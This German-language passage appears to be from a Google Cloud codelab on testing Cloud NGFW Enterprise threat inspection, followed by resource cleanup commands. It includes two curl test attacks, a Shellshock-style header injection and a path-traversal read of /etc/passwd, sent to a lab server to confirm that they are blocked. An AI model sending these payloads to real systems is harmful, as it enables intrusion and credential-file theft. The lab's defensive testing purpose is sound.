gcloud compute network-firewall-policies rules create 10000 \ --description "inspect all egress internet traffic from clients" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
Wechseln Sie zurück zur Client-VM und senden Sie noch einmal Angriffe mit hohem Schweregrad an die externe Server-IP:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3
curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
Erwartete Ausgabe:
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received
Wechseln Sie in der Cloud Console zum Tab „Bedrohungen“, um die Logs zu prüfen. Möglicherweise müssen Sie die Seite mehrmals aktualisieren. Die Angriffe sollten wieder erkannt und protokolliert werden. Die Quell-IP ist jetzt jedoch intern, da zuerst eine Regel für ausgehenden Traffic ausgelöst wird:

Schließen Sie die SSH-Sitzung und fahren Sie mit dem nächsten Abschnitt fort, in dem die Bereinigungsschritte beschrieben werden.
8. Bereinigungsschritte
Cloud NGFW Enterprise-Komponenten bereinigen
Vorhandene Cloud NGFW Enterprise-Zuordnungen auflisten:
gcloud network-security firewall-endpoint-associations list
Löschen Sie die Cloud NGFW Enterprise-Zuordnung:
gcloud network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list
So listen Sie vorhandene Cloud NGFW Enterprise-Endpunkte auf:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Löschen Sie den Cloud NGFW Enterprise-Endpunkt. Das kann etwa 20 Minuten dauern:
gcloud -q network-security firewall-endpoints delete \ $org_prefix-$zone --zone=$zone --organization $org_id
Prüfen Sie mit dem folgenden Befehl, ob die Cloud NGFW Enterprise-Instanz gelöscht wurde:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Löschen Sie die Sicherheitsprofilgruppe und das Profil zur Bedrohungsvermeidung:
gcloud -q network-security security-profile-groups delete \ $org_prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $org_prefix-sp-threat \ --organization $org_id \ --location=global
Bereinigung der Grundeinrichtung
Fahren Sie mit dem nächsten Schritt fort, wenn Sie die Basisressourcen löschen möchten.
Definieren Sie die Umgebungsvariablen, falls erforderlich. Löschen Sie in Cloud Shell die Komponenten des Netzwerk-Load-Balancers:
gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region gcloud -q compute backend-services delete $prefix-nlb-bes --region $region gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone
Instanzen entfernen:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
Optional können Sie die folgenden Schritte ausführen, wenn die Rollen „tagAdmin“ und „tagUsers“ geändert wurden:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
Tag-Schlüssel und -Werte entfernen:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
Löschen Sie die Cloud Firewall-Netzwerkrichtlinie und die Verknüpfung:
gcloud -q compute network-firewall-policies associations delete \
--firewall-policy $prefix-fwpolicy \
--name $prefix-fwpolicy-association \
--global-firewall-policy
gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Cloud Router und Cloud NAT löschen:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
Reservierte IP-Adressen löschen:
gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
Löschen Sie schließlich das Subnetz und das VPC-Netzwerk:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
9. Glückwunsch!
Herzlichen Glückwunsch! Sie haben das Codelab „Cloud NGFW Enterprise für die East-West- und North-South-Prüfung“ erfolgreich abgeschlossen.